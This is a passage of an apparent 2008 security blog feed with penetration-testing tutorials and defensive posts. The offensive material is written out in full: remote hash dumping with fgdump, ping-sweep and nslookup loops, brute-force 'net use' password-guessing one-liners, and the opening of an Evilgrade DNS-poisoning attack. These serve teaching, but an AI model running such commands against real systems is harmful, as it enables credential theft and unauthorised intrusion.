good file. Which guarantees that there isn't a rootkit installed on your router. The odds of this type of attack happening are slim to none but you should be able to verify this as part of Incident Response.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-2776952348620398124?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/2776952348620398124/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=2776952348620398124' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2776952348620398124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/2776952348620398124'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/12/cisco-router-rootkits.html' title='Cisco Router Rootkits'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-773712366884213488</id><published>2008-11-22T20:55:00.006-05:00</published><updated>2009-03-09T13:43:36.935-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ophcrack'/><category scheme='http://www.blogger.com/atom/ns#' term='fgdump'/><category scheme='http://www.blogger.com/atom/ns#' term='John the Ripper'/><title type='text'>Smashing the Hash</title><content type='html'>In today's post we are going to talk about stealing password hashes and then recovering the passwords from them. Here is the scenario, we have popped a windows box with an exploit and we have administrator access. Now we want some passwords. The easiest way to do this is to steal the hashes. To get the hashes we will need a tool to extract them. One of these tools is fgdump.&lt;br /&gt;&lt;br /&gt;You can get fgdump &lt;a href="http://swamp.foofus.net/fizzgig/fgdump/downloads.htm"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We can run fgdump on a remote host by running&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; font-weight: bold;"&gt;fgdump.exe -h 192.168.0.10 -u Admin -p AdminPass&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-weight: normal;"&gt;This will give us a text file with a .pwdump extension. If you open this file in notepad you will see a file showing some usernames and some password hashes following them.&lt;br /&gt;&lt;br /&gt;After this step we need a password cracking tool. My favorites are John The Ripper and Ophcrack. John is a really good multisystem bruteforcing tool, Ophcrack is a great rainbow table tool. In this example we are going to use Ophcrack.&lt;br /&gt;&lt;br /&gt;We open ophcrack and it looks like the following.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IYfuPD9qO24/SSjD_gQap3I/AAAAAAAAAFI/V-7YwUxOHfI/s1600-h/oph.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 267px;" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SSjD_gQap3I/AAAAAAAAAFI/V-7YwUxOHfI/s320/oph.jpg" alt="" id="BLOGGER_PHOTO_ID_5271678859595130738" border="0" /&gt;&lt;/a&gt;We then hit the load button and choose pwdump file. Then we point to the file created by fgdump. We then hit the crack button. Ophcrack will spit out the password after a period of time.&lt;br /&gt;&lt;br /&gt;I usually like to run ophcrack and john in tandem because sometimes john will break a password faster than ophcrack.&lt;br /&gt;&lt;br /&gt;So that's it. You can now reuse the user names and passwords you cracked on other systems. If this is domain controller then the pentest is over because you just owned the domain.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-773712366884213488?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/773712366884213488/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=773712366884213488' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/773712366884213488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/773712366884213488'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/11/smashing-hash.html' title='Smashing the Hash'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IYfuPD9qO24/SSjD_gQap3I/AAAAAAAAAFI/V-7YwUxOHfI/s72-c/oph.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-4692922561653977099</id><published>2008-10-18T21:55:00.017-04:00</published><updated>2009-03-09T13:46:00.505-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PEiD'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='Unpacking Executables'/><category scheme='http://www.blogger.com/atom/ns#' term='Ollydbg'/><title type='text'>Unpacking UPX with Ollydbg</title><content type='html'>I recently participated in the malware challenge 2008 at http://malwarechallenge.info &lt;span style="font-weight: bold;"&gt;Spoiler Alert&lt;/span&gt; if you are taking part in this challenge don't read any further. I am giving away some secrets.&lt;br /&gt;&lt;br /&gt;In the following post I will illustrate what steps should be taken to do low level analysis of malware. This is what is done before behavioral analysis.&lt;br /&gt;&lt;br /&gt;The first thing you need to do is to take a look at the strings in the executable. This can be done in several different ways. The easiest way is to use the strings command in Linux or Cygwin and export the strings to a text file by using the &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;strings malware.exe &gt; strings.txt.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;At this point if you look at the strings and see all of the text in the clear the executable is probably not packed or obfuscated. This isn't the case most of the time. Usually the malware is packed using a packer and possibly a protector to prevent reverse engineering of the malware.&lt;br /&gt;&lt;br /&gt;If you look through the strings and they all seem obfuscated or strange looking then it's probably a packed portable executable file. So how do you really know? We use a tool called PEiD. PEiD is a tool that can easily tell if an executable is packed. The first step is to get PEiD from http://peid.has.it/ Once we have downloaded PEiD we open it and it looks like this.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IYfuPD9qO24/SPqaNnmsENI/AAAAAAAAAEw/T2-MjUl5mOA/s1600-h/peid.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SPqaNnmsENI/AAAAAAAAAEw/T2-MjUl5mOA/s320/peid.jpg" alt="" id="BLOGGER_PHOTO_ID_5258685073668706514" border="0" /&gt;&lt;/a&gt;We then hit the button with three dots in the upper right hand corner. This lets us browse to our executable. In this case our executable is named malware.exe. We point to the executable and then hit open. Once open it will try to detect the packer. In the case of this challenge it will only report correctly if you change the mode to deep or hardcore. It will then show something like the following image.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IYfuPD9qO24/SPqdVSf6h1I/AAAAAAAAAE4/VNIF80arm_o/s1600-h/peid.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_IYfuPD9qO24/SPqdVSf6h1I/AAAAAAAAAE4/VNIF80arm_o/s320/peid.jpg" alt="" id="BLOGGER_PHOTO_ID_5258688503976986450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Notice we are now reporting the malware is packed with  UPX. Ok so lets unpack the UPX. If you try the upx packer tool it will report that the executable can't be unpacked. This is pretty typical, it means that the UPX in the executable is obfuscated or it's so old the unpacker doesn't understand it. So what now?&lt;br /&gt;&lt;br /&gt;Enter Ollydbg. Olly is a great tool for analysis of malware. Olly can be used for all sorts of reverse engineering fun but in this case we are going to use Olly for unpacking the malware. Before we start we also need the Ollydump plugin.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;To unpack the UPX we first open Ollydbg. Then we choose open and the executable file we are trying to analyze.&lt;/li&gt;&lt;li&gt;Once open we scroll down until we find the &lt;span style="font-weight: bold;"&gt;PUSH AD&lt;/span&gt; instruction. This is the beginning of the loading of the program into memory.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Next we scroll down and find the &lt;span style="font-weight: bold;"&gt;POP AD &lt;/span&gt;instruction. Then we set a breakpoint on the &lt;b style=""&gt;POPAD&lt;/b&gt; instruction by right clicking and choosing breakpoint.&lt;/li&gt;&lt;li&gt;Then we hit f9. It will then break on the &lt;span style="font-weight: bold;"&gt;POP AD&lt;/span&gt; instruction. &lt;/li&gt;&lt;li&gt;Then we hit F7 several times until we see it hit a &lt;span style="font-weight: bold;"&gt;JMP&lt;/span&gt; instruction. if you look at the hex address next to this statement this is our &lt;span style="font-weight: bold;"&gt;OEP&lt;/span&gt; or original entry point.&lt;/li&gt;&lt;li&gt;Write down the address next to the &lt;span style="font-weight: bold;"&gt;JMP&lt;/span&gt; instruction&lt;/li&gt;&lt;li&gt;Then open the plugins menu, &lt;span style="font-weight: bold;"&gt;Choose Ollydump&lt;/span&gt; then change the size to the last 5 digits of the OEP. Make sure you check rebuild import, finally hit dump then give the executable a name. See below.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Try running the executable to make sure it works.&lt;/li&gt;&lt;li&gt;If it runs then you have successfully unpacked the UPX.&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IYfuPD9qO24/SPqkbSmU2jI/AAAAAAAAAFA/1qkHrHRvzpI/s1600-h/olly.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_IYfuPD9qO24/SPqkbSmU2jI/AAAAAAAAAFA/1qkHrHRvzpI/s320/olly.jpg" alt="" id="BLOGGER_PHOTO_ID_5258696303664486962" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Alright so there's no more UPX on this executable. Now we can use the strings command again and we should see several more strings. Including the commands to control an IRC bot. Once you have those commands you can find out just how dangerous a botnet can be.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-4692922561653977099?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/4692922561653977099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=4692922561653977099' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/4692922561653977099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/4692922561653977099'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/10/unpacking-upx-with-ollydbg.html' title='Unpacking UPX with Ollydbg'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IYfuPD9qO24/SPqaNnmsENI/AAAAAAAAAEw/T2-MjUl5mOA/s72-c/peid.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-3296782042934338318</id><published>2008-10-03T17:55:00.006-04:00</published><updated>2009-01-01T13:40:47.394-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Attack Tools'/><title type='text'>Windows Command Line Kung Fu</title><content type='html'>So I know this doesn't apply to all security professionals but if you are a pen tester you might find this useful. Here is the situation. You have hacked a windows box and you have a command shell but your Rules of Engagement say you can't install any software on the compromised machine.&lt;br /&gt;&lt;br /&gt;What do you do to try to get an attack going from that box without adding any software. The answer is some command line kung fu. We can use some windows command line tricks to make this machine give us useful information to continue our attacks deeper.&lt;br /&gt;&lt;br /&gt;First we should do an &lt;span style="font-weight: bold;"&gt;ipconfig/all &lt;/span&gt;and get the information from that command. The do an     &lt;span style="font-weight: bold;"&gt;arp -a&lt;/span&gt; and look at the arp table. After that doing a &lt;span style="font-weight: bold;"&gt;route print&lt;/span&gt; is a good idea.&lt;br /&gt;&lt;br /&gt;If you want to go further and use the host to get more information you can do so with only the command line. The trick to this is to use some creative for loops.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;for /L&lt;/span&gt; loops are counter loops. They count out a number and stop&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;for /F &lt;/span&gt;loops iterate over a file.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;I want to enumerate other hosts from the compromised box&lt;/span&gt;. We already have the subnet from our earlier ipconfig /all. We then put this command into the command shell with our subnet.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;C:\for /L %i in (1,1,255) do @ping -n 1 10.0.0.%i | find "Reply"&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;What this does is uses a for /L loop which counts by 1 from 1 to 255 and pings each ip 1 time and then pipes this to the find command and finds  anything with a Reply. Beware that the Reply doesn't work well in Vista and you may have to us "bytes=" instead.&lt;br /&gt;&lt;br /&gt;If you want to use this in a batch file and output the results you can use this command.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;for /L %%i in (1,1,255) do @ping -n 1 10.0.0.%%i | find "Reply" &gt;&gt; replies.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;This will enumerate all of the IP's and export it to a file called replies.txt. For batch files you must use a double percent and &gt;&gt; for output.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;Ok so now I want all the names of the devices on this subnet.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;for /L %i in (1,1,255) do @nslookup 10.0.0.%i 2&gt;nul | find "Name" &amp;amp;&amp;amp; echo 10.0.0.%i&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;This for loop counts by 1 from 1 to 255 the does an nslookup for each ip. It outputs error of 2 to nul. Then it finds anything with Name and echos the IP of each name. The double &amp;amp;&amp;amp; means only execute if the first on succeds.&lt;br /&gt;&lt;br /&gt;Alright so we know the IP addresses and names and we want to guess a password can we do that. Sure we can!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-weight: bold; text-align: center;"&gt;for /f %i in (password.lst) do @echo %i &amp;amp; @net use \\[target_IP_addr] %i /u:[Username] 2&gt;nul &amp;amp;&amp;amp; echo Username: %i &gt;&gt; success.txt&lt;/div&gt;&lt;br /&gt;I won't explain this since it builds on previous examples. How about a username and password guesser? This is an extremely useful tool but you really should figure it out yourself.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;for /f %i in (user.txt) do @(for /f %j in (pass.txt) do @echo %i:%j &amp;amp; @net use \\10.254.83.1 %j /u:%i 2&gt;nul &amp;amp;&amp;amp; echo %i:%j &gt;&gt; success.txt &amp;amp;&amp;amp; net use \\[target IP] /del)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;So how about that we just created some useful tools only using the command line. How cool is that. I can't take credit for this though. These tricks come for Ed Skodus of SANS fame I have changed them a bit but all credit should go to Ed.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-3296782042934338318?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/3296782042934338318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=3296782042934338318' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/3296782042934338318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/3296782042934338318'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/10/windows-command-line-kung-fu.html' title='Windows Command Line Kung Fu'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-8589179956251234385</id><published>2008-09-21T07:25:00.006-04:00</published><updated>2009-01-01T13:39:55.296-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='Honeypot'/><category scheme='http://www.blogger.com/atom/ns#' term='Antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='Nepenthes'/><title type='text'>Antivirus is Dead. Now What?</title><content type='html'>I keep hearing people in security news saying &lt;a href="http://securitywatch.eweek.com/virus_and_spyware/antivirus_is_dead_dead_dead.html"&gt;"ANTI VIRUS IS DEAD"&lt;/a&gt;. This is somewhat true that signature based anti virus has become too slow to respond to some of today's security threats. The question for most people now is "OK so anti virus is dead what do I do about detecting malware?"&lt;br /&gt;&lt;br /&gt;The answer to this question is &lt;span style="font-weight: bold;"&gt;defense in depth&lt;/span&gt;. I am going to explain some devices that can help you catch zero day worms or attacks that anti virus might not stop.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt; &lt;span style="font-weight: bold;"&gt;Network Based IDS/IPS.&lt;/span&gt; This technology helps in the fight against hackers, and malware, It also does a good job with policy enforcement and getting an overall view of network traffic.&lt;br /&gt;&lt;br /&gt;The best open source IDS is snort and its snort inline variant. These allow you to create a very powerful open source IDS/IPS. If you want to implement this Hakin9 magazine has a good article&lt;a href="http://www.snortattack.it/docs/hakin9_6-2006_str22-33_snort_EN.pdf"&gt; here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The next solution for defending against malware besides anti virus is a &lt;span style="font-weight: bold;"&gt;HONEYPOT.&lt;/span&gt; Low interaction honeypots do a good job of catching malware, spam and other attacks. These types of honeypots are easy to deploy and can give you an edge on worms that try to exploit system vulnerabilities.&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;My favorite low interaction honeypot is &lt;a href="http://nepenthes.mwcollect.org/"&gt;&lt;span style="font-weight: bold;"&gt;Nepenthes&lt;/span&gt;&lt;/a&gt;. This honeypot is ridiculously easy to deploy on any modern Debian based Linux system. It will also automatically submit any binaries that it catches to the &lt;a href="http://www.cwsandbox.org/?page=home"&gt;CWsandbox&lt;/a&gt; and &lt;a href="http://www.norman.com/microsites/nsic/en-us"&gt;Norman Sandbox&lt;/a&gt;. This can give you a jump on incident response by giving you automated malware analysis.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Number three on this list is much harder. This involves having someone in your organization who knows how to do &lt;span style="font-weight: bold;"&gt;MALWARE ANALYSIS&lt;/span&gt;. This isn't an easy task and is somewhat of an art. It is important to know how to use tools like VMWARE, IDA PRO, SYSINTERNALS TOOLS, REGSHOT, OLLY DBG, and more.&lt;br /&gt;&lt;br /&gt;SANS institute teaches 5 day courses on malware analysis in their GREM certification program. I will do a malware analysis post here in the near future.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; &lt;span style="font-weight: bold;"&gt;The fourth and final step is Controlling Access to your network. &lt;/span&gt;Don't let just anyone connect to your network. think of your network like a Medical Operating room. Make sure that all of your devices are malware free and fully patched. Setup internet access policies that allow you to remove internet access from sensitive devices. Air Gap or VLAN any publicly available networks and treat them like DMZ's. Don't let people use USB thumb drives without knowing they are clean before using them in your internal network. If you treat malware like a human virus infection you will have less chance of being infected.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;In conclusion if anti virus is dead "which it really isn't" then we have several other lines of defense to prevent malware from spreading wildly through our networks. Using good defense techniques will keep your data safe even if anti virus fails.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-8589179956251234385?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/8589179956251234385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=8589179956251234385' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/8589179956251234385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/8589179956251234385'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/09/antivirus-is-dead-now-what.html' title='Antivirus is Dead. Now What?'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-3131299971853826861</id><published>2008-09-05T16:57:00.008-04:00</published><updated>2009-01-01T13:39:31.935-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CIA'/><category scheme='http://www.blogger.com/atom/ns#' term='Redundancy'/><category scheme='http://www.blogger.com/atom/ns#' term='floating static routes'/><category scheme='http://www.blogger.com/atom/ns#' term='HSRP'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='Failover'/><title type='text'>The CIA Security Triad, Availability</title><content type='html'>With the recent vulnerabilities released against Cisco PIX/ASA, I started thinking about network Availability and the security of technologies in relation to this. First off in the design of a network you need to think about and plan for failures. Most failures are related to power connectivity or some kind of failure including security issues like DOS attacks.&lt;br /&gt;&lt;br /&gt;In the Cisco world their are several methods to accomplish High Availability.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Failover&lt;/span&gt; is one method. This can be done with Cisco routers or ASA devices. This is where when one device fails another one picks up right were it left off. This is especially good in a security situation where one device is the victim of an  attack.&lt;br /&gt;&lt;br /&gt;A configuration example of Failover for the ASA can be found &lt;a href="http://www.cisco.com/en/US/products/hw/vpndevc/ps2030/products_configuration_example09186a00807dac5f.shtml"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;a href="http://www.cisco.com/en/US/products/hw/vpndevc/ps2030/products_configuration_example09186a00807dac5f.shtml"&gt;&lt;/a&gt;&lt;br /&gt;A good configuration example of HSRP in Cisco routers is &lt;a href="http://www.cisco.com/en/US/docs/internetworking/case/studies/cs009.html"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Floating Static Routes&lt;/span&gt; are hard coded second path routes. When a dynamic or static route fails it will pick up the hard coded route and route all traffic through that circuit. This is good backup when a circuit fails. Failover is accomplished by adding a static route to the system with an extremely high administrative distance for example.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ip route&lt;/span&gt; &lt;b&gt;192.168.4.0 255.255.255.0 172.16.4.1 175&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The administrative distance of 175 prevents it from picking this route until one with a lower administrative distance has failed. Since most people use EIGRP or OSPF an administrative distance of 175 is much higher than the 90 for EIGRP and the 110 for OSPF. This means the routing protocol must fail and then it will use the static route.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mesh Connectivity&lt;/span&gt; is a type of connectivity that each circuit has multiple connections to other devices. This allows dynamic routing protocols to route around failures and is especially important in backbones to make them failure resistant.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Out of Band Management&lt;/span&gt; allows you to have complete control of your devices without having to use the data connections. Cisco has the ability to do this kind of connectivity with a router acting as a terminal server and connecting that router to the console ports of all other Cisco devices using an octal cable. This connectivity can be done over telnet or ssh. SSH makes this one of the most secure and foolproof ways to access a Cisco device when a failure has occurred.&lt;br /&gt;&lt;br /&gt;To get a good example look &lt;a href="http://etherealmind.com/2008/05/29/cisco-ios-reverse-ssh-terminal-server-console-access/"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and &lt;a href="http://www.cisco.com/en/US/docs/ios/12_3t/12_3t11/feature/guide/gt_rssh.html#wp1047179"&gt;here.&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;This type of access can also be accomplished using a modem. This method can allow out of band management on devices that are not in your normal location. This a great option and can improve the security of devices because inband management is not needed which eliminates issues with protocols like telnet, ssh and SNMP which are used to manage systems.&lt;br /&gt;&lt;br /&gt;In conclusion doing a little thinking when designing your network can make for a much more secure and resilient network. This is especially important when your network is a converged network that runs VOIP and Video applications that require up time.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-3131299971853826861?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/3131299971853826861/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=3131299971853826861' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/3131299971853826861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/3131299971853826861'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/09/cia-security-triad-availability.html' title='The CIA Security Triad, Availability'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-1239225547409371022</id><published>2008-08-04T17:40:00.020-04:00</published><updated>2009-01-01T13:38:49.345-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='Arp Spoofing'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Evilgrade'/><category scheme='http://www.blogger.com/atom/ns#' term='Attack Tools'/><title type='text'>Evilgrade Will 0wn Us All</title><content type='html'>In today's post we are going to explore a very interesting type of man in the middle attack that allows a client side attack to occur through an unsigned automatic update process. This attack can happen through several different upgrade applications.  In this case the attack is very complex as it involves DNS cache poisoning using Kaminsky's DNS vulnerability or a man in the middle attack using Ettercap.&lt;br /&gt;&lt;br /&gt;The first tool we will use in this attack is the Metasploit framework and the Metasploit DNS attack called the bailiwicked attack. We talked about how to execute this attack in the last post. So lets start with that.&lt;br /&gt;&lt;br /&gt;First we have to make sure that the DNS server is vulnerable you can do this by using the check option in the exploit or doxpara.com. It is also important to run an nmap scan and make sure the server is an ISC Bind DNS server.&lt;br /&gt;&lt;br /&gt;Next we then want to poison one of the domain names that evilgrade uses. There are several different domains.  Probably the least noticable would be itunes.com or java.sun.com. The first stage of the attack is to use the bailiwicked domain attack and spoof java.sun.com to the IP address of our server which is hosting evilgrade.&lt;br /&gt;&lt;br /&gt;We then start evilgrade by executing evilgrade which will look like the following.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IYfuPD9qO24/SKGYO0TNiCI/AAAAAAAAACw/9Lj-0xMJXSI/s1600-h/evilgrade.JPG"&gt;&lt;img style="margin: 